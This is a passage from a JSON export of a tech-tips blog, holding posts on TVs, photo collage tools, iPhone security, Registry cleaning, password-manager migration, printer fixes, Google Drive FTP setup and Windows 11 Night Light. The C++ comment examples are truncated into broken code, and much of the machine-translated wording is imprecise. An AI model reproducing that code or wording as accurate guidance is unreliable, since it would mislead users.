TV.\nWith much more advanced features of Smart TV, the price of this TV is not cheap and higher than Smart TV.\n4. Should you choose Smart TV or Internet TV? After all, when we want to choose certain types of TV, we also need to base on the needs of the family and the cost of each type of television.\nInternet TV will be suitable for families who need to use the Internet at medium level, listen to music, watch movies, read newspapers and choose TVs with affordable budget. The Internet TV interface is also easy to use.\nIf your family is out of the ordinary entertainment, if you want to make TV connection with other devices like TV, phone, Smart TV is the right choice. The number of applications that can be used on Smart TV is unlimited, when you can install additional applications.\nFinally, before buying Smart TVs or Internet TVs, we should also calculate the needs of family use, to find the right type of TV.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nSppirrF2pw26tzZ1koqakmr%2BvsdNmq68%3D\n","link":"/post/the-difference-between-smart-tv-and-internet-tv/","section":"post","tags":null,"title":"The difference between Smart TV and Internet TV"},{"body":"You are looking to stitch photos but do not know what is the best software to combine photos among many photo collage software today. To help you easily select the best photo collage software, please refer to the top 3 best photo compositing software on the computer and how to use the article shared below.\n  Here are the top 3 best photo stitching software on the computer and how to use the software to stitch photos, invite you to follow along.\nFotor Fotor is one of the photo editing software, professional photo collage on computers today. With the two main tools of editing and stitching photos in Fotor, users will be able to insert beautiful effects for images, then combine photos together with unique frames available.\nMain features of Fotor: Image editing: makeup remover, teeth whitening, blush removal, eyeshadow, blush, lipstick . Advanced multi-platform experience: can use online or software. Easy-to-use powerful editing tools. More than 100 different layout options to help you get the look you want. Batch processing photos at once. Collage photos quickly with many beautiful interfaces. Download the Fotor software at home https://www.fotor.com/windows/index.html\nHow to use Fotor Step 1: After you download and install the software on the system, you will be provided with the Fotor interface as follows:\n  Step 2 : To collage the first image you choose Collage .\n  Step 3: Appearance interface of Fotor photo , you need to set some custom in the Templates section on the right as follows:\nSelect a ratio : in this section you choose the frame rate you want, there are 3 main ratios: 1: 1; 4: 3; 3: 4 and you can select More and enter the ratio you want.\n  Select a template: in this section there are many frame templates for you to choose, you just need to click the frame template you want in the All section or you can choose the number of frames and choose the frame pattern.\n  Border: in this part you can adjust the border in the adjust card , change the colors in the colors card , add background patterns available in the patterns card .\n  Step 4 : After you have customized it, select Add on the left side to add the photos to pair.\n  The images you add will appear in the list on the left.\n  Step 5: Keep pressing the image and drag to each frame position you want.\n  Step 6: In addition to combining photos on the side you can combine photos in the style of FreeStyle , you just need to choose FreeStyle on the right side. The image file will be changed in this style. You can move images, rotate images, and arrange images as you like.\n  Step 7: Save and share the file\nAfter you have finished combining the images, select Export , where you can choose to share your photos on Facebook , Flickr , Twitter (Share to Facebook, Flickr, Twitter) or save photos to your computer ( Save to Computer ).\n  Appearance Save to my computer , you name in the File name , select the image format, select image quality in JPEG Quality and click Save Photo to save the file.\n  SnowFox Photo Collage Maker SnowFox Photo Collage Maker is a fun and easy-to-use program for stitching photos to share with friends, family and the web. Photo Collage Maker offers different collage styles to create your own collages.\nThe software provides photo editing tools such as applying frames, adding text captions, rotating images, dragging smaller or larger, selecting beautiful backgrounds . You can create beautiful and impressive collages Best.\nKey features of SnowFox Photo Collage Maker:\nEdit, create collages art Print images directly Save files in various formats View the image in full screen before saving Share photos on Facebook Download SnowFox Photo Collage Maker software here http://www.snowfoxsoft.com/photo-collage-maker.html\nHow to use SnowFox Photo Collage Maker Step 1 : First, you access the link above to download and install SnowFox Photo Collage Maker into the system.\nStep 2 : Launch SnowFox Photo Collage Maker , then you select the type of photo collage you want in the tab Style: Grid (grid style); Classic (basic model); Circular (circular style); Heart (type of heart), Free (type of freedom). Choose any type, you can choose more parameters of the image type such as number of images, image space .\n  Step 3 : In the Photo List section you choose to the folder containing the photos to be paired, the image will be displayed in the lower part.\n  Step 4: Hold down the mouse click on the image and drag to the frame you have selected until the image has been added to all the frames.\n  If you choose free style, circle, heart shape, then you can add images to the collage frame, select Photo -\u0026gt; Add , so the photo frame will display a frame for you to insert. image.\nStep 6 : Add text to the collage frame you choose the Text tab -\u0026gt; Add Text.\n  The Edit Text box appears, enter the text you want and select OK to add text.\n  You can change the font style, color and font size in the Font section of the Text tab . You can also move the text by holding and dragging the text to the position you want.\n  Step 7: Save the image\nYou can choose the Save icon or choose Export -\u0026gt; Save as image.\n  The Save As window appears, select the folder containing the image, enter a name in the File name section , choose a format for the image in the Save as type section, and select Save to save the image.\n  PhotoPad Image Editor PhotoPad Image Editor is one of the best photo collage and photo editing software available today. This software supports a lot of useful features, tools to crop, rotate, resize and flip images. Supports many image formats from jpg, gif, png, tiff, bmp and other popular formats. You can quickly combine photos with Collage , and edit collages after stitching.\nKey features of Photo Pad Image Editor:\nCollage photos easily and quickly. Crop, rotate, flip photos and images. Read gif, jpg, psd, png, bmp and more. Edit color, saturation, brightness and contrast. Apply effects like sepia, gray tones, red-eye reduction and more Review effect before applying. Download PhotoPad software here https://www.nchsoftware.com/photoeditor/index.html\nHow to use PhotoPad Step 1 : You need to download and install PhotoPad into the system, then launch PhotoPad software and you will see the interface as shown below.\n  Step 2: To stitch photos you choose Collage to open Collage Editor.\n  Step 3: Appears Collage Editor interface , where you will start the process of stitching your photos. The left side is the interface to display the collage image, the right is the part you set up and perform the photo collage:\nCanvas Options: this section you will choose the size for the collage image in the Collage  Size section , and the units in the units . There are also two directions for the image: Landscape (horizontal) and Portrait (vertical).\n  Background Options: in this section you make the selection of background images for collages, the software provides a lot of backgrounds for you to choose. If you want to add wallpapers on your computer, then select Custom Image and choose Open Image to choose the wallpaper you want.\n  Layout Options: in this section you choose the layout of the collage you want. Then you customize more:\nSpacing : increase / decrease the distance between images. Rounded Corners: increase / decrease the borders of each image in the collage. Random Tilt : rotate the image. Randomize Layout : random layout.   Step 4: Add photos\nClick Add Images to add images to the software.\n  Open file window appears you choose the folder containing the image file to merge, to select multiple images, hold down Ctrl and select photos. After choosing the image you choose Open .\n  Step 5: The image will be automatically added to the frames in your chosen layout.\n  Step 6: Edit the image\nTo edit the image you select the image to edit and select the Image Options to customize.\nAssign Image (image assignment): replace the selected image with another image. Remove Image : remove the selected image from the collage.   Step 7 : After you have customized to save the collage, select Create to create a collage.\n  Step 8 : To save the collage you choose File -\u0026gt; Save.\n  The Save As window appears, select the folder you want to save the collage, name the collage image in the File name section and select Save to save the image.\n  Above the article has shared with you the top 3 best photo stitching software on the computer and how to use the software to stitch photos. Hope you will choose the best photo collage software to use. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkm52jqXqxtM6tpmabn6G5orPEZqqonqSsrrOxjKilZpufor22wMSrZJqmlGLCtK3Gng%3D%3D\n","link":"/post/top-3-best-photo-collage-software-on-computer-and-usage/","section":"post","tags":null,"title":"Top 3 best photo collage software on computer and usage"},{"body":"Hack is a generic term and is often used incorrectly. Traditionally, it is a term referring to unauthorized access to a computer network. In the iPhone context, hacking can be understood in the following ways: Having (unauthorized) access to the personal information of others stored on the iPhone. Remote monitoring or use of iPhone without consent of the owner. Change the way your iPhone works through additional software or hardware.\nTechnically, just someone guessing your iPhone password can constitute a 'hacker'. Installing surveillance software on your iPhone to track your activities can also be considered a hacker.\nThere is also a jailbreak or custom firmware installation actions on an iOS device that can also be considered as an iPhone hack. But this is one of the more modern definitions of hacking as it is widely used. In fact, there are many users who have 'hacked' their own iPhone by jailbreaking to install a modified version of iOS to remove the annoying barriers of Apple.\nMalware is also another security issue that iPhones have previously faced. Because in addition to the software on the App Store, there are also external software that is installed and exploited through the Zero-Day vulnerability in Apple's Safari browser, allowing hackers to install spyware to steal people's information. use.\nJailbreak is constantly updated and is a cat and mouse game between Apple and those who like to edit their iOS. If you keep your device up to date, you may be safe from jailbreak-based attacks. But hacker groups, organizations and governments are also interested in Apple's protections, they're all ready to look for breakthroughs to gain deep access to iOS without notifying Apple and the public.\nHere are a few things to keep in mind about iPhone security\u0026nbsp;:\nYour iPhone cannot be controlled remotely? Although macOS has virtual network server (VNC) installed and allows to control your Mac remotely, iOS does not. Apple does not allow anyone to remotely control iPhone via remote access apps like TeamViewer.\nThis means you can't control someone's iPhone without cracking it before. There are VNC servers available to allow users to remotely control their jailbroken iPhone, but iOS does not have this feature by default.\n IOS authorization system gives you better control over the application\niOS uses a powerful licensing system to manage and authorize applications with specific information about the service and the type of permission. When you open or install an application for the first time, you are often notified of permission requests such as iOS's location service or camera. Literally, these applications will not be able to access these services or information on your device without your permission.\nNotably, there is no licensing option available on iOS that allows an external application to have full access to the system. On iOS, each application is separated from the system and operates in a separate sandbox (isolated) secure environment. It allows to prevent potentially harmful applications and affect the rest of the system, including restricting access to personal information and application data.\nHowever, you need to be wary of the permissions you grant an application. For example, Facebook wants to access your contacts but it doesn't need to have this permission to work. When you grant information access to an application, it can do anything with that information, including uploading it to another server and storing it there. This seems to have violated the developer agreement with Apple's App Store, but it is technically possible for apps to do so. Therefore, you need to think and consider carefully when licensing applications.\nApple ID and iCloud security Your iCloud account (also known as Apple ID) can be more easily hacked from the outside than the iPhone. Because it is like other online accounts, third parties can still silently steal your iCloud login information.\n Please enable 2-factor authentication for the iCloud account used on your iPhone\nTo minimize this risk, you can enable 2-factor authentication (2FA) for Apple ID. To ensure this, go to Settings\u0026gt; your iCloud account name\u0026gt; Password and security and activate 2-factor authentication and set it up (if not already activated). From now on, every time you or someone log into your iCloud account, they will need to add the passcode sent to your device or phone number, which minimizes the risk of account hijacking. Apple ID even if someone else already has the login information.\nHowever, even 2FA is technically vulnerable and they are called Social Engineering Attack - a technique to transfer phone numbers from one SIM to another, allowing hackers to get the last piece to steal Accounts using 2-step authentication. It's not something that happens easily, but something that shows you still need to be alert even after 2FA is turned on.\nSpyware on iPhone One of the most vulnerable iPhone hacking risks is spyware. These applications invade silently by creating confusion and fear of users and invite them to install surveillance software on the device. They are often offered to parents in the form of an iPhone tracking software for their children.\nThese apps can't work on the official iOS app store, so they often require the device to be unlocked. This causes the iPhone to go through security-related steps and pose many potential risks, besides certain applications will not work on jailbroken devices. After an iPhone is cracked and a surveillance application is installed, others can freely review every message or call and even photos on the victim's iPhone.\n Nominal applications are for parents to keep track of their children but with many potential risks\nFortunately, these bad apps will not work on new iPhones including Xs, Xr, 11 and SE. They are only available for some jailbroken iOS 13-enabled devices. However, they will constantly strive to be present on newer iPhones. So all you need is to stay alert and refuse to install from untrusted sources outside the App Store.\nWi-Fi can still be hacked Regardless of what device you're using, insecure wireless networks are still one of the biggest security threats on mobile devices. Hackers can use the 'man in the middle' technique to establish fake, insecure wireless networks to steal information from your traffic.\nBy analyzing this traffic through packet sniffing (called packet sniffing), hackers can see the information that you send and receive. If this information is not encrypted, they can be easily extracted with sensitive information such as your login password or credit card number.\nTherefore, be alert and stay away from insecure Wi-Fi networks in public places. For added security, encrypt the traffic on your iPhone via the VPN protocol.\nncG1vNJzZmismaXArq3KnmWcp51ksKK6jLKmrqpdnr2pu82eZJudXZ2upLfEnWSoql2jvLU%3D\n","link":"/post/can-your-iphone-be-hacked-or-not/","section":"post","tags":null,"title":"Can your iPhone be hacked or not?"},{"body":"According to Shareholic statistics about the market share of web browsers in the world, the top of the list is still Google's Chrome browser, but the most remarkable thing is the tremendous slump of Firefox.\nThis browser with a fire fox image lost more than 28% of its market share from September 2013 to April 2014. With the exception of the two default web browsers of Android, iOS / Mac and Opera Mini browser that have positive growth, all the remaining names recorded a decrease in the number.\n  Market share chart of web browsers\nRanked second in the ranking is Safari, third IE and fourth is Firefox. Statistical results from September last year to April this year show:\nWith the strong growth of the two default browsers in Android and iOS / Mac and Firefox's lag, Firefox will soon lose its fourth place for those competitors. IE, Firefox and Opera are the browsers with the most market share decline. Hoping that Mozilla, after developing its own Firefox OS, Firefox's market share will rise even more like the browser on iOS and Android.   Details of each web browser's growth rates from September 2013 to April 2014\nncG1vNJzZmismaXArq3KnmWcp51ksKm%2BzqacZqGjYsC1tculZK2glWK6sL%2FTZqeoqKWhrrN5waumsKuVp3q4tdOhZGxsXaKus7fErWSsoJGnsg%3D%3D\n","link":"/post/chrome-is-still-the-most-popular-browser-with-34-market-share/","section":"post","tags":null,"title":"Chrome is still the most popular browser with 34% market share"},{"body":"The comment of the program is the explanation of the code writer in C / C ++ code, helping the reader, checking the source code is easier to understand. All programming languages ​​have their own syntax for commenting.\nC ++ supports single-line and multi-line comments. All characters in the comment are ignored by the C / C ++ compiler.\nComment in C / C ++ starts with / * and ends with * /. Below is an example of a single-line comment and multi-line comment in C ++:\n/* Day la mot comment don dong */ /* C/C++ cung ho tro cac comment * trai dai tren nhieu dong */  A comment can also start with //, extending to the end of the line. For example:\n#include using namespace std; main() { cout  When the above code is compiled, it will skip // Print C / C ++ and get high results and finally give the following result:\nHoc C/C++ co ban va nang cao  Inside the comment / * and * /, the characters // have no special meaning. Inside the // comment, the characters / * and * / have no special meaning. Therefore, you can \"nest\" these two types of comments together. For example:\n/* Comment ve dong lenh in dong chu Hello World: cout  According to Tutorialspoint\nPrevious article: Basic C ++ syntax\nNext lesson: Data type in C / C ++\nncG1vNJzZmismaXArq3KnmWcp51ksLC5zJ6lrWWZo3qkecJm\n","link":"/post/comment-in-c-c/","section":"post","tags":null,"title":"Comment in C / C ++"},{"body":"Equipped with a Core i5 processor, a powerful ATI discrete graphics card . Dell's Inspiron N4010 GCTD52 laptop has a \"fat\" feel, but is very solid and well configured as a new choice. For people playing professional games or graphics in the laptop segment under VND 20 million.\n\u0026gt;\u0026gt;\u0026gt;Toshiba Satellite L640 - cheap laptop i3 core\n  Dell Inspiron N4010 / GCTD52 .\nDell Inspiron N4010 / GCTD52 (aka 14R / GCTD52) is equipped with Intel® Core ™ i5-520M processor (2 * 2.40GHz Turbo Boost 2.93GHz, 4Threads, 3MB L3 cache), 4GB DDR3 RAM, drive 500GB hard . With the above configuration, the machine can handle multiple tasks smoothly, running at the same time many applications for work and entertainment.\n14.1-inch widescreen monitor with a resolution of 1366 x 768 pixels, supported by ATI® Mobility RADEON ™ HD 5470 (Dedicated) graphics card 1GB provides very good visibility. Especially, with built-in HDMI port, users can easily enjoy high-quality HD movies.\nOn the outside, the Inspiron N4010 / GCTD52 makes it easy for users to have a glossy, metallic plastic finish with a metallic pattern. The design of the device is somewhat in the style of the Dell Adamo \"super product\", with the screen hinge backing inward, causing the rear edge of the device to protrude a bit, creating a rather unique appearance when opening the device.\n  The keyboard of the Inspiron N4010 / GCTD52 is designed with the right type of traditional Dell keyboard, with wide keys, close to each other and with moderate bounce, making it easy and comfortable to operate. A detail that makes users feel like the keyboard of the machine when compared to other laptops is that the Ctrl key remains in the bottom left position like in the traditional keyboard, not the Fn key. That brings great convenience to those who regularly use keyboard shortcuts when editing documents, especially those who are used to using the desktop.\n  The touchpad of the device is designed wide, rough surface helps users manipulate easily and accurately. Two mouse buttons have a large size, moderate bouncing, bringing a pleasant feeling when hovering on the computer. Dell Inspiron N4010 / GCTD52 is equipped with 1.3 megapixel resolution webcam, supports users to video chat or make remote meetings.\nThe speaker system of the Inspiron N4010 / GCTD52 is located under the chassis, giving a loud and clear volume. Bass and treble sound are fully reproduced, but if you want to feel the most accurate sound quality that SRS Premium Sound technology brings, you should wear headphones.\nThrough testing, the battery of the device can operate continuously for more than 4 hours.\n  Left edge with Ethernet port, radiator door, HDMI port, eSATA / USB port and card reader.\n  Rear is VGA port and machine lock.\n  The right side is the location of the DVD drive, microphone jack, headphone and a USB port.\n  The right rear is a USB port and a charging jack.\nCurrently, Dell Inspiron N4010 / GCTD52 is on the market for over VND18 million, for more details and to order products you can contact:\nMETA online network joint stock company Address: B49, Duy Tan Street, Dich Vong Hau Ward, Cau Giay, Hanoi. Phone: (04) 3.7855633 Website: http://www.meta.vn\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2agp6ugnr%2Bwuoyna2lpYGK0pMDDbmlmq6Suuaq%2Fx2ajmqikpL1usMSlo2aolaezsL7MmqWcnQ%3D%3D\n","link":"/post/dell-inspiron-n4010-gctd52/","section":"post","tags":null,"title":"Dell Inspiron N4010 / GCTD52"},{"body":"The game is a pleasure, an indispensable means of entertainment for us, even for some people, it is a passion. But some current games force users to use software that supports Unity to play. The problem is, this tool is constantly \"rejected\" by Google Chrome, which makes it impossible for users, or it is difficult to play games comfortably.\nDownload Unity Web Player for free   In this article, we will show you how to fix the Chrome bug that you have to reinstall Unity Web Player when playing the game. Although you already have Unity installed for your device, it is possible that Chrome will make some changes when you launch a new version of the upgrade, causing you to make this mistake.\nStep 1 : You start up Google Chrome browser, then enter the following address bar:\nchrome: // flags / # enable-npapi\nStep 2 : In the new page interface appears, you find the Enable NPAPI Mac, Windows - Enable NPAPI Mac, Windows . Then turn off this mode ( if enabled - Enable, switch to Disable - Disable ).\n  Step 3 : Then you go back to the browser, the game, reboot to check. If it still doesn't work, you can go back to the edit page page just now, and Disable - Disable add items like: Native Client, experimental utility API, Turn on SPDY / 4, Enable web platform feature experiment, or URL gadget on Chrome .\n  Step 4 : Then reset the browser to enter the game normally.\n  In addition, you can also try to remove the Chrome version you are using and install an older version to fix this problem.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWgp7yjuMSmZK6mmanGbq%2FAp6tmqJyWxm6zwKacrGWfo3qktNGopJ4%3D\n","link":"/post/fix-the-problem-unity-can-t-play-games-on-chrome/","section":"post","tags":null,"title":"Fix the problem Unity can't play games on Chrome"},{"body":"On a trip to Montana's Glacier National Park last year, amateur scientist and photographer Gaurav Agrawal captured a stunning sunset. Agrawal shares its work on the Flickr platform and is loved by many people.\nUnfortunately, people later discovered that Agrawal's photo would cause Android smartphones to hang if users set it as wallpaper.\u0026nbsp;\n The beautiful picture of Agrawal, the color parameters of the image have been changed to not harm any smartphone\nAccording to the sharing of Agrawal, he edited this photo with Lightroom and exported the image in super wide HDR color space. Normally, this is not a problem, the photo still displays beautifully on iPhone, computer and on the web.\nHowever, because Android 10's built-in color rendering tool can't properly display the color space of an image, some Android smartphones will hang if this image is set as a wallpaper. Smartphone models, mainly Google's Pixel and Samsung's Galaxy, will restart continuously until the user resets the device to factory mode.\nIn a recent interview with the BBC, Agrawal shared that he did not know that his photo could be so devastating. \"I just want my photos to be shared widely online, not wanting to hurt anyone , \" Argawal said. \"I use the iPhone and the wallpaper is always my wife's photo . \" Argawal's image has appeared on National Geographic.\nAs the picture went viral, even celebrities like Ice Universe started giving warnings to users. Interestingly, when Ice Universe uploaded the picture to Weibo, its color parameters were changed so it didn't cause any problems.\nMeanwhile, a lot of old Android smartphones and some Nokia models running Android are not affected by most Nokia smartphones that do not use Google's default color rendering tool. Samsung and Google have announced that they will soon release software updates to fix this problem.\nBecause this problem can not be fixed by rebooting the machine, it can only be fixed by restoring the factory settings or entering safe mode and then deleting the image above, so users should not manually I tested it. If you still want to try thrills, users should install Android Studio on the computer.\nLink to download the original image here:\nFor Agrawal, this is probably a sad memory of him. Surely he did not want such a great photo to bring quite serious side effects. Argawal took a whole day to get this picture.\n\"That day the sky was gloomy and cloudy, we thought that no sunset photographs would ever be taken. But when we were about to return, things began to change, and the rays of the sunlight pierced through. cloud, \"said Agrawal. \"From now on, I will use a different format for my photos.\"\nncG1vNJzZmismaXArq3KnmWcp51ks7DBzZ1kraCVYry4usSrZKieXam1pnnWmqOlqJGlsrN506GYrWWYqruoecBmqp6qmZrAbrvFZpinnKKktqV50qaYq6ygnbyvsdI%3D\n","link":"/post/found-the-owner-of-the-wallpaper-that-hung-a-series-of-android-smartphones/","section":"post","tags":null,"title":"Found the owner of the wallpaper that hung a series of Android smartphones"},{"body":" This wikiHow teaches you how to remove unnecessary entries from your Windows Registry. Keep in mind that the Registry is an extremely sensitive archive that documents every process and setting on your computer, so deleting entries from it...\nPart 1of 5:\nPreparing to Clean the Registry  Understand the consequences of editing the Registry. The Windows Registry stores information about every process, program, and setting on your computer, so removing the wrong entry can result in your computer failing to work properly.\n  Know the safest way to clean the Registry. Unfortunately, cleaning the Registry by hand isn't safe, and following the steps in this article may not result in your computer speeding up or resolving corrupted Registry entries due to the limited approach you'll have to take. If you want to clean your Registry in an effective, thorough manner without deleting anything important, use the Registry Cleaner app instead.\n  Understand the process you'll use to manually clean the Registry. The best way to clean the Registry without using a program is by placing your computer in Safe Mode. This will prevent other programs from interfering with your cleaning, becoming corrupted, or making changes to your computer.\n  Uninstall any programs you don't need. Before you can begin cleaning out the Registry, try removing the programs you no longer want to use: Open Start  . Click Settings  . Click Apps. Select a program you want to uninstall. Click Uninstall. Follow any uninstall prompts.   Back up your computer. If you accidentally corrupt your computer's Registry, you may need to restore your operating system from a backup.\n  Back up the Registry. To do so: Open the Registry Editor by typing regedit into Start and then clicking regedit. Click File in the top-left corner. Click Export... in the drop-down menu. Enter a name for your Registry backup. Check the \"All\" box on the left side of the window. Click Save. Wait for the Registry to finish exporting (this can take several minutes, and the Registry Editor may freeze).   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vedOhnGavmaOxsMPSZqmen5mowbPFjJuwZqCRo7E%3D\n","link":"/post/how-to-clean-the-windows-registry-by-hand/","section":"post","tags":null,"title":"How to Clean the Windows Registry by Hand"},{"body":"One important thing to remember is that to protect your account, you need to have a strong, unique password for each account. Unfortunately, remembering a password with special characters, letters and numbers is a difficult task. That's why people often prefer to use the same password for different accounts.\nThanks to the password manager, you no longer need to remember each password. You can create strong and unique passwords for each of your accounts, but don't have to worry about forgetting them for a while. But what if you want to switch the password manager, for example from LastPass to Dashlane? Today's article will show you how to enter the password from LastPass to Dashlane.\nHow to enter a password from LastPass to Dashlane To start exporting passwords from LastPass to Dashlane, make sure you have Dashlane installed and open LastPass. You can export your password using Chrome's LastPass extension or software.\nClick the 'Open my vault' option and LastPass will display all passwords. In the lower left corner, click 'More Options', followed by the Advanced option .\n  \nAfter clicking on the Advanced option , many new options will appear. Click 'Export' and LastPass will ask you to enter a master password. Then you will see all your passwords and usernames / emails in a new tab. Highlight what you want to transfer and copy them without pasting anywhere, at least for the moment.\nAfter copying the password, remember to close the tab so no one will see it. Go to the search bar and open a new note in the Notepad application on your computer. Paste what you have copied and click the Save button . Save the file as 'LastPass.csv'.\nOpen Dashlane and click File to enter the password.\n  Select LastPass and a new window will appear telling you the steps about how the password is moved. Click the green Next button and a document window will appear. Click the file you previously saved, containing all usernames and passwords.\nNow, Dashlane will show you how many passwords you are about to transfer. If you change your mind and want to remove some passwords from the list, here's your chance to do so. Make sure the password you want to switch to is checked. Click the green Import button to start the process.\n  Once completed, Dashlane will tell you how many passwords have been added, how many passwords are available and how many passwords have been ignored. Click the OK button to close the window.\nHow to delete LastPass account Whether to delete a LastPass account depends on you. If you want to keep your password in two places, you don't need to do this step. Otherwise, you will need to delete the LastPass account. You can do that by going to the following website: https://lastpass.com/delete_account.php .\n  Follow the steps that LastPass instructs to delete the account. Remember to delete the file you have created containing all usernames and passwords, because you certainly do not want the file to fall into the wrong hands. But if you need to keep this file on your computer, make sure you use the password to protect the file or use other methods to keep it safe.\nNow you know how easy it is to transfer your password from LastPass to Dashlane. If you encounter any problems during the process, leave comments in the comment section below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2eqbKzecBmp5qro6y8s7CMn6mopV2hrrTAz5qqrGWkpHqlrdKho5qmlQ%3D%3D\n","link":"/post/how-to-enter-a-password-from-lastpass-to-dashlane/","section":"post","tags":null,"title":"How to enter a password from LastPass to Dashlane"},{"body":"Installing the Canon LBP 2900 printer on Windows and other printers is generally relatively simple, users must install the correct Windows version of the driver. Then unzip the setup.exe file in the driver folder. However, some computers cannot install Canon LBP 2900 printer driver, report a Canon block block firewall lbp 2900 rpc server process. So how do I fix the Canon LBP 2900 printer on Windows?\nHow to install Canon LBP 3300 printer on a computer Instructions for installing Canon LBP 1210 printer on the computer How to install the network driver with the All Main Ethernet Controller How to fix Canon LBP 2900 driver installation error on Windows The error message did not successfully install the Canon LBP 2900 printer driver on the computer as shown below.\n  Step 1:\nYou open the Control Panel interface on your computer and click on Network and Internet .\n  Then go to Network and Sharing Center .\n  Step 2:\nSwitch to the new interface and click Change Advanced sharing settings in the list on the left of the interface.\n  Step 3:\nNext, users need to turn off data and printer sharing in Network settings. In the File and printer sharing section, click on Turn off file and printer sharing .\n  Step 4:\nIn the computer interface in the search bar, click the services keyword to access the management interface of the services on the computer.\n  Step 5:\nIn the new interface, move the Windows Installer service to Start or Start, select Restart to reboot. Click on this service and click on the Start button as shown.\n  Next we also check the Print Spooler service and switch to Start mode according to the above method.\n  Step 6:\nFinally, click on the setup.exe file with Administrator rights to reinstall the Canon LBP 2900 driver on Windows.\n  So, we have tried to fix the Canon LBP 2900 printer driver on Windows, and the Canon LBP 2900 printer driver could not be installed. If the printer driver is installed again but cannot be used, you need to reset the computer. proceed to reinstall the driver.\nSee more:\nInstructions for installing Canon MF4720W multi-function laser printer Instructions for installing the printer in Windows 8 How to install Canon Lide 120 scanner Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqkrc2opWakkqV6c4WPaWSpqpmjwaa%2BjJ6pq6eiYryvedaipZ2np6g%3D\n","link":"/post/how-to-fix-canon-lbp-2900-printer-error-on-windows/","section":"post","tags":null,"title":"How to fix Canon LBP 2900 printer error on Windows"},{"body":"Google Drive is a powerful cloud storage service, capable of storing various files like APK, XLS and CSV in addition to standard file formats. And practical Drive is accessible from anywhere (even from mobile phones).\nAlthough its normal backup and synchronization methods are great, there are some limitations. First, you will lose local storage on your computer. Second, you cannot use it as backup system. Because when deleting the file from the system it will be automatically deleted from the cloud storage.\nThat's why it is recommended to use Google Drive as an FTP Server or Network Drive. When used as an FTP server, you will receive a synchronous and controllable backup solution. You also do not need to co-drive the folder with your computer and do not need to worry about storage capacity.\nIf you use it for a Network Drive, you can access all files and folders from Windows Explorer. And save local storage space because it does not synchronize the entire folder with the computer.\nHow to update files on Google Drive does not change the shared link How to view the fastest shared Google Drive data How to let others upload files to your Google Drive In this article will use two third-party tools are RaiDrive and Google Drive FTP Adapter. The first tool for Network Drive and the second tool is used to set up FTP server.\nRaiDrive is a lightweight tool that allows access to Google Drive files and folders as network drives. This tool is light and is about 16MB in size. Visit Raidrive.com website to download RaiDrive.\nOn the other hand, Google Drive FTP Adapter is a simple JAR file. To run it, you need to have Java Runtime Environment (JRE 8) on your PC. If not, you can download it under the link below.\nDownload the Java Runtime Environment for Windows   And after installing it, remember to connect to Private .\nDownload the Google Drive FTP Adapter according to the link below.\nhttps://github.com/andresoviedo/google-drive-ftp-adapter  How to configure RaiDrive for network drives Step 1. After installing RaiDrive, open it and the application will display a welcome screen. Click the Add button at the top.\n  Note: In addition to supporting Google Drive, RaiDrive is also compatible with other cloud storage services like Dropbox, Google Photos, OneDrive, Dropbox and Yandex.\nSelect Google Drive and click the OK button.\n  Step 2. When requesting permissions, click Allow .\nAfter verifying login information and permissions, you will see Network Drive. Select the name of the drive from the drop-down list. By default, RaiDrive labeled as Drive Z. You can also name the drive if you want to add more drives to make it easy to distinguish.\n  Here, you can edit settings such as login when reconnecting, reading only, public or private connections, etc. Then click Apply or OK to go to the computer's network location.\n  As shown below, you can see all files and folders. Click on a file to open it in the default browser.\nAny changes on Network Drive will take place in real time. And file transfer speed depends on Internet speed.\n  Alternatively, you can check Drive's free space.\n  To change the settings, click the jagged icon and make changes.\nHow to configure RaiDrive for Google Drive FTP Adapter Configuring Google Drive FTP Adapter is a simple process, just run the JAR file. However, as mentioned earlier, you need JAVA Runtime Environment on the system before running.\nStep 1. After setting up the JRE, double-click the FTP Adapter file to navigate to the browser to select a Google account.\n  Select the account to set up FTP server, enter the password and grant the required permissions. When authenticating, you will see a simple confirmation message on the browser.\nStep 2. Next, you need another FTP application to act as a gateway and Google Drive. You can use any FTP client. Here we will use FileZilla, which is open source software.\nDownload FileZilla for Windows After downloading and installing FileZilla, enter the following gateway address into the server address.\nftp://user:user@localhost:1821/  Alternatively, you can enter the following value:\nHost : Localhost Username : user Password : user Port : 1821   You will see all the folders on the right pane, just transfer the file from the computer to that frame.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqou86go55llKe2t7GMpaCknV2bv6axjJ%2BrqWWjmr%2B3sdFmpqtlnprBuLvRpGSdqpmrsg%3D%3D\n","link":"/post/how-to-use-google-drive-like-free-ftp-server-or-network-drive/","section":"post","tags":null,"title":"How to use Google Drive like free FTP server or Network Drive"},{"body":"The Night Light feature first appeared in Windows 10 and now Windows 11 also supports it. Read the following article to learn how to enable and configure Night Light in Windows 11!\nHow to enable and configure Night Light in Windows 11 To enable this feature, you must first open the Settings window. One way to do that is to click Start and then select Settings. If you can't find the icon, just type \"settings\" in the search bar.\n  In the Settings app, make sure System is selected on the left, then click Display (this is the first item in the list on the right).\n  On the next screen you will find all the Display settings from Windows 11. You can simply turn on Night Light by flicking the toggle next to it, or you can click on the text to access the settings. set more details. .\n  You will then see the option to tweak the Night Light:\nYou can increase or decrease the intensity of the effect by moving the slider. Dragging it to the right will cause the screen to use warmer colors and reduce eye strain, while dragging it to the left will cause the screen to use cooler colors. It is recommended that you work with the slider at night, not during the day, as it will be easier to find the right setting.\nSet the Schedule night light toggle to On and then configure it to activate at certain times of the day or even sync with sunset and sunrise times, if you have Location services enabled.\n  All changes will be applied immediately. When you're done configuring Night Light, close Settings.\nHow to enable or disable Night Light from Quick Actions If you're not interested in tweaking Night Light settings but instead just want to turn the feature on or off, there's a quicker way to do it. Press Windows + A on your keyboard, or click the icons next to the clock (battery, volume, network), in the lower-right corner of the screen.\n  The Quick Actions panel opens in the lower-right corner of the screen. Here you can toggle various Windows 11 features, including Night Light. Just click or tap the Night Light button and the effect will show up instantly.\nNOTE: The Quick Actions buttons you see may be arranged differently on your Windows 11 PCs or devices.\n  To turn off Quick 